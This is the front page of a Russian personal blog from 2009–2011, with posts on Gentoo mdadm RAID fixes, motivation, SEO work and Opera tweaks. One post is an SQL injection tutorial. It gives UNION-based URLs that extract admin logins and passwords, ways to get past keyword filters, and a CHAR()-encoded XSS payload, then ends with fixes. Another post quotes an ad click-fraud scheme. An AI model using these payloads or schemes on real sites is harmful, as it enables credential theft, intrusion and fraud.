Блог SpYeRа

Решение mdadm md127

30 сентября 2011 | Отзывов пока нет

Промучался с созданием софтового рейда 1 под Gentoo, проблем было много но , напишу несколкьо, может, кому-нибудь будет полезно.

Почему mdadm создаёт разделы md127 / md125? 127 – максимальное однобайтовое число. Почему же он выбирает именно его? Скорее всего, чтобы не было путаницы с автоматически найденными массивами. Следовательно, отключаем автоматическое обнаружение raid'ов, у нас ведь в mdadm.conf всё давно прописано. Прописываем параметр ведру линупса в /boot/grub/grub.conf (он должен выглядеть примерно так: )

default 0
timeout 30
splashimage=(hd0,0)/boot/grub/splash.xpm.gz
title=Gentooska
root (hd0,0)
kernel /boot/bzImage root=/dev/md3 raid=noautodetect md=3,/dev/sda3,/dev/sdb3

И всё прекрасно работает. Примерный /etc/mdadm.conf

HOMEHOST vasya
DEVICE /dev/sda1 /dev/sdb1
DEVICE /dev/sda2 /dev/sdb2
DEVICE /dev/sda3 /dev/sdb3
ARRAY /dev/md1 superminor=1 devices=/dev/sda1,/dev/sdb1
ARRAY /dev/md2 superminor=2 devices=/dev/sda2,/dev/sdb2
ARRAY /dev/md3 superminor=3 devices=/dev/sda3,/dev/sdb3

Всё это, конечно, для ядра Gentoo, созданного без genkernel. В случае Genkernel нужно будет вкомпиливать /mdadm.conf в initramfd ( genkernel –mdadm –mdadm-config=/etc/mdadm.conf initramfs ) Ещё долго мучался с kernel panic:

md: Autodetecting RAID arrays.
md: Scanned 0 and added 0 devices.
md: autorun ...
md: ... autorun DONE.
BOOT-NFS: no NFS server addres .. trying floppy.
VFS: Unable to mount root device "sda3" or unknown-block(2,0)

Оказалось, что не были подключены необходимые SATA-драйвера. И mdadm здесь был ни при чём.

И ещё проблемы часто возникают с device mapper'ом.  Его обязательно нужно отключать. USE-флаги: mdadm -dmraid -device-mapper.

Кстати, массивы mdadm нужно создавать обязательно указывая –metadata=0.90, если не хотите возиться с установкой нестабильного Grub2.

mdadm –metadata=0.90 –create /dev/md1 –level=1 –raid-devices=2 /dev/sda1 /dev/sdb1
# и т. д.

Получилась, не то, чтобы статья, а частые проблемы, и как их решать.



Эффект сверхоправдания и мотивация

10 июня 2011 | 2 отзыва

Про мотивацию пишут много, но только те, кому её не достаёт. Те, у кого она есть не понимают сути подобных постов.

Для начала коротко о мотивации в целом.
Мотивация бывает:

  1. Внутренней. Если вам доставляет большое удовольствие то, что вы делаете – это внутреняя мотивация.
  2. Внешней. Внешняя мотивация – это когда вам хочется кушать, и нужны для этого деньги, когда не хочется идти в армию и так далее.

Внутренняя мотивация, конечно же, лучше. Я думаю, что когда люди становятся миллионерами, ими движет именно она. И уж точно только внутренняя мотивация заставляет людей создавать такие блестящие бесплатные проекты как Linux, Apache, Nginx, PHP, Joomla, Drupal и сотни других, которые мы с вами используем в своих сайтах.

Внешняя же мотивация у большинства людей заканчивается где-то на уровне «Семья (дети) + Дом + Машина». Бояться становится нечего, и многие  так и не сдвигаются с этого уровня. (Я ни в коем случае не считаю, что это плохо или хорошо) Читать далее

Снова начинаю работать на себя

13 марта 2011 | 5 отзывов

Не изменяя своей недоброй традиции писать в блоге раз в полгода, я наконец выхожу на связь.

Многое изменилось с последнего времени, жизнь стала получше, но находиться в одном стабильном состоянии я оказывается не могу. Обязательно нужно развиваться или я неизбежно «скатываюсь».
Сателлиты делать уже не хочется, да и Яндекс уже их не особо жалует, хочу сделать СДЛ и писать какие-нибудь программки вроде карты сайта для DLE.

А вообще я устроился работать в провайдер и работаю уже почти год. Писать софт всё же нравится намного больше, чем клепать говносайты.

MySQL integer sql-injection

4 сентября 2010 | 6 отзывов

Внезапно написал статью про sql-инъекции. О сео писать нечего, да и не хочется.

Казалось бы, 2010 год на дворе, но многие программисты до сих пор не научились защищать свои веб-приложения. Наверное, чтобы научиться хорошо защищать свои сайты, нужно хоть раз побыть в шкуре хакера. В этой статейке я расскажу об sql-инъекции через GET-запросы на сайтах, на которых используется MySQL. Конкретнее об уязвимостях в полях типа «integer».

Рассмотрим такой код:

SELECT id,title, date, text FROM articles WHERE id = $inj AND date > 0;

$inj вроде бы «фильтруется» с помощью addslashes или mysql_escape_string, но фильтруется неправильно. В конце статьи я, конечно же, расскажу, как правильно фильтровать такие поля.

Итак, как найти такую уязвимость?
Заходим на какой-либо рандомный сайт, и видим в адресной строке, к примеру, http://example.com/articles.php?id=1 SQL-Запрос для выбора указанной статьи мы видим выше.
Вместо единицы мы и будем подставлять нашу инъекцию, но сначала нужно проверить, работает ли она.

http://example.com/articles.php?id=1+AND+1=2‑‑

http://example.com/articles.php?id=1+OR+1=1‑‑

Чтобы нам не мешали лишние условия, которые задаются после id, добавляем два минуса на конце, чтобы mysql игнорировал всё, что идёт после них.

Запросы с подстановкой этих простейших инъекций будут выглядеть так:

SELECT id,title, date, text FROM articles WHERE id = 1 AND 1=2‑‑ AND date > 0;
SELECT id,title, date,text FROM articles WHERE id = 1 OR 1=1‑‑ AND date > 0;

Если в первом случае статья не выводится, но выводится 1 или более статей во втором, то скорее всего мы обнаружили уязвимость. (в обоих случаях часть «‑‑ AND date > 0;» не учитывается)

Что делать дальше?

Теперь, можно составлять наши коварные запросы. Будем мы пользоваться для них такой удобной конструкцией как UNION.
Допустим, мы знаем, что на сервере есть таблица users с колонками id, login, pass
Нам нужно составить запрос, чтобы вытащить логин и пароль самого первого пользователя (зачастую админа). Но сначала нам нужно узнать количество полей, которые запрашиваются и выводятся на страницу. Для этого считаем вот таким образом, пока не прекратятся ошибки:

http://example.com/articles.php?id=1+UNION+SELECT+1‑‑

http://example.com/articles.php?id=1+UNION+SELECT+1,2‑‑

http://example.com/articles.php?id=1+UNION+SELECT+1,2,3,4‑‑

Т.к. у нас выбирается 4 поля, ошибки прекращаются, и где-нибудь на странице мы увидим вытащенную из базы цифру 1, 2, 3 или 4. Например, мы увидели 2 в заголовке.

Зная количество полей и поля, которые выводятся, строим наш конечный запрос:

http://example.com/articles.php?id=1+UNION+SELECT+1,CONCAT(login, 0, pass),3,4+FROM+users+WHERE+id=1‑‑

И с радостью видим на месте заголовка строку вида:
admin0qwerty
MySQL-функция CONCAT объединяет строки, а 0 в данном случае разделитель, т.е. логин – admin, пароль qwerty.

Заметьте, это всё без единой кавычки!

Сложности и подводные камни.

Фильтры.

Попадаются «хитрые» быдлокодеры программисты, которые думают, что код вида
if(strpos(‘select’, $query) === false) их спасёт. Такие вещи обходятся МоЛоДёЖнЫм НаПиСаНиЕм. http://example.com/articles.php?id=1+uNiOn+SeLeCt+1,CONCAT(login,0,pass),3,4‑‑
Есть те, кто догадываются фильтровать ключевые слова MySQL регистро-независимо. Зачастую помогает urlencode каждого символа в его %hex значение.
Простейшая функция на php решает это:

function my_urlencode($str)
{

$encoded = »;

for($i = 0; $i < strlen($str); ++$i){

$encoded .= '%'.dechex(ord($str{$i}));
/*Для каждого символа берётся его ASCII-код и преобразовывается в hex */

}

return $encoded;

}

Запускаем echo my_urlencode('union select'); и на выходе получаем закодированную строку %75%6e%69%6f%6e%20%73%65%6c%65%63%74 .
Запрос теперь:

http://example.com/articles.php?id=1+%75%6e%69%6f%6e%20%73%65%6c%65%63%74+1,CONCAT(login, 0, pass),3,4‑‑

Если фильтруются пробелы, то их можно заменить пустыми комментариями /**/ или скобочными выражениями (UNION(SELECT(1)))‑‑ и т. п.

Не выводятся поля.
Ищем в интернете статьи про Blind SQL Injection

Неизвестны другие таблицы и колонки в них.
Начинаем перебирать user, users, profiles, и т. д. Можно также поискать программы вроде Pangolin, которые эти вещи делают автоматически.

И немного про SQL XSS.

А вы думали в данном случае невозможно? В MySQL ведь есть замечательная функция CHAR(), да и мы сейчас кое-что напишем.

function my_mysql_chars($str)
{

$chars = »;

for($i = 0; $i < strlen($str); ++$i){

$chars .= 'char('.ord($str{$i}).'),';
/*Для каждого символа берётся его ASCII-код и записывается по типу char(20),char(80), и т. д. */

}

return $chars;

}

Вызов echo my_mysql_chars(‘<script>alert(/sql_xss!/)</script>’); выдаст нам строку вида  char(60),char(104),char(49),char(62),char(115),char(117),char(112),char(32),char(47),char(98),char(47),char(60),char(47),char(104),char(49),char(62),

Подставляем её в запрос:

http://example.com/articles.php?id=1+%75%6e%69%6f%6e%20%73%65%6c%65%63%74+1,CONCAT(char(60),char(104),char(49),char(62),char(115),char(117),char(112),char(32),char(47),char(98),char(47),char(60),char(47),char(104),char(49),char(62)),3,4‑‑

И радуемся ещё и полученному XSS на сайте.

И ни одной кавычки.

Как защититься?

Что не удивительно, защититься проще, чем эксплуатировать эту уязвимость.

Все integer поля в MySQL берём в кавычки и используем обычный mysql_escape_string.

Правильно делать, например, так:
$no_inj = mysql_escape_string($_GET[‘id’]);
mysql_query(“SELECT id, title, date, text FROM articles WHERE id = $no_inj AND date > 0;”);

Если же у вас кавычкофобия или мания прописывать int-поля в запросах без кавычек, то убедитесь, что каждое такое поле фильтруется через intval.

Например,

$no_inj = intval($_GET[‘id’]);
mysql_query(“SELECT id,title, date, text FROM articles WHERE id = $no_inj AND date > 0;”);

Вот и вся фильтрация int-полей, и не надо изобретать никакие безумные фильтры, которые, во-первых, неэффективны, во-вторых, тормозят работу сайта.

Макхост заработал

18 мая 2010 | 13 отзывов

Как говорится, надежда умирает последней. Так и я до последнего надеялся, что Макхост оживёт (на нём хостился этот блог и ещё несколько моих сайтиков).
Надеялся я неспроста, а потому, что больше ничего не оставалось кроме как надеяться. Бекапов-то у меня не было…
Заработок упал, но думаю, постепенно понемногу восстановится.

Последнее время ничего не делаю. Играю в доту, смотрю фильмы. In Bruges очень понравился.

Чёрт, я забыл, что у меня не уютная жж-шечка, а сурьёзный сео-блог. Но о сео сегодня ничего не будет.

P.S. Надеюсь, хотя бы 1-2 читателя у меня остались (Привет, Тэд!xD) .

Я возвращаюсь

16 марта 2010 | 24 отзыва

Всем привет, я вроде начинаю выбираться из того ужасного состояния: сходил в универ, начал фрилансить, ухаживать за своими сайтами. А вообще, за это время я начал играть в покер (и успел проиграть ~50$). Постепенно учусь, читаю книги и всё такое.  В списке дел теперь — переписать EasySitemap, сделать бесплатную версию его,  продолжить цикл статей, теперь с учётом этих ваших АГС-ов. Есть ещё несколько идей для модулей под ДЛЕ, тоже начну писать: на фрилансе сейчас какой-то кризис, буду пробовать продавать свой софт.

С февраля количество читателей увеличилось до 30 (из которых 25 это я сам в разных браузерах), что очень радует.  Спасибо, что читаете меня. Скоро буду палить сурьёзные темы: например, мало кто знает, что топ-сейп.ру однажды был взломан одним моим знакомым, и многие аккаунты к сапе, предоставившие md5-хеш (который, конечно же, «нереально взломать») были угнаны. Человек тот особо не гонится за прибылью, поэтому он просто поделился парой вкусных подрбоностей, таких как, например, что у кого-то из первой двадцатки длина пениса 12 см, фильтрами для поднятия тиц, темой по поднятию тиц, и др. Также из его слов я сделал для себя один интересный вывод по поводу того, как люди из первой двадцатки зарабатывают так много. И про него я тоже напишу. Прошу не разводить шумиху по этому поводу, дело было давно и палиться будет сейчас для узкого круга избранных.

Жду обратной связи от Вас, читатели. Но только не с ссылками на ГС. Ссылки даже из интересных комментариев  от имени какого-нибудь «Кондиционеры» будут удаляться, также как и ссылки на откровенные сателлиты.

Ах, да, про Оперу тоже буду продолжать писать. Может, выложу ещё парочку полезностей для неё.

Делаем Оперу ещё более удобной

20 декабря 2009 | 55 отзывов

Надеюсь, среди моей многомиллионной аудитории есть любители браузера Opera. Этот пост для Вас.

Будем настраивать мы дополнительные возможности «поиска» и удобное отображение картинок по наведению мыши (для тех, у кого они отключены по умолчанию). Читать далее

Сменил дизайн. Попытка №2

10 декабря 2009 | 27 отзывов

Привет, мои дорогие читатели. По многочисленным просьбам сменил дизайн.
Всё сделал «с нуля» сам, сверстал на таблицах. Вообще, считаю, что лучше сверстать на таблицах, и сэкономить время, чем извращаться чтобы сделать 2 столбца одной длины и т.д. И к тому же, я верстал под Оперу, и проверял только на ней, а сейчас, залил и посмотрел, в FireFox'e и в Ослике. Всё отлично.
Дизайн сделал простейший. Думаю, теперь, может, переименоваться в Среднеазиатского Бомжа. Цвета выбирал в яндексе, прикольный у них сервис :)

Фичи все оставил, оставляя комментарий, вы по-прежнему получаете dofollow  ссылку с главной, пока не оставят ещё 5 комментариев. Вообще, создание диазайна для блога и вообще занятие прочими такими делами — «лучшее» дело перед сессией xD

Если у кого-то есть комментарии/баги по дизайну — пишите, буду рад выслушать.

Возможный DDoS на adsense

9 декабря 2009 | 14 отзывов

Сегодня, читая башорк наткнулся на это:

Не смешно. У меня тут хитрая идейка DDoS'а возникла: А давайте все начнём гуглить всякие там смс-шпионы, перехватчики, и так далее – и хотя-бы раз в сутки кликать на КАЖДОЕ рекламное объявление, выведенное гуглом.

Я одно время давал рекламу товаров и услуг подобным образом, и ответственно могу заявить, что «закликать» так до смерти аморальных ублюдков – лучший способ вогнать их в финансовые минуса. Вот нас БОР посещает (по статистике админов) около трёхсот тысяч в день (я понимаю, что это хиты, а не посетители, но всё-же…). Допустим даже десяток тысяч человек, из них тысяча в день таки кликнет хоть на одно (а лучше на все, при этом дожидаться загрузки ссылки не надо, сразу жмём «назад» чтоб не палить трафик впустую) объявление. Один клик обходится нашим уродам (и другим нормальным людям) в несколько центов (а может и долларов, если конкуренция большая). Прикинули? :) Сто-двести-тысячу баксов в сутки снять (правда, в пользу гугла – ну дык я не против) имхо вполне реально. Кому помогли смс-перехватчики и кто не считает саму идею их аморальной – ставьте минус.

Думаю, тем, кто загребает деньги с партнерок читалок смс лучше насторожиться и уменьшить дневной бюджет. И не пугаться, если временами сильно снизится конверт. Обманутые люди бунтуют.

Финстрип за ноябрь

8 декабря 2009 | 12 отзывов

Привет. Давно я не писал, нахожусь в каком-то странном состоянии.. на всё времени не хватает, но и ничего и не успеваю. Ну и ладно, может это осень, (хотя знаю, что скоро скажу «может, это зима/весна» ) :)

dark

Ну так вот. Фин стрип, решил сделать т.к. все шикарные идеи о постах в блог я потерял (в прямом смысле. И где эти листочки…)
Чита~ Читать далее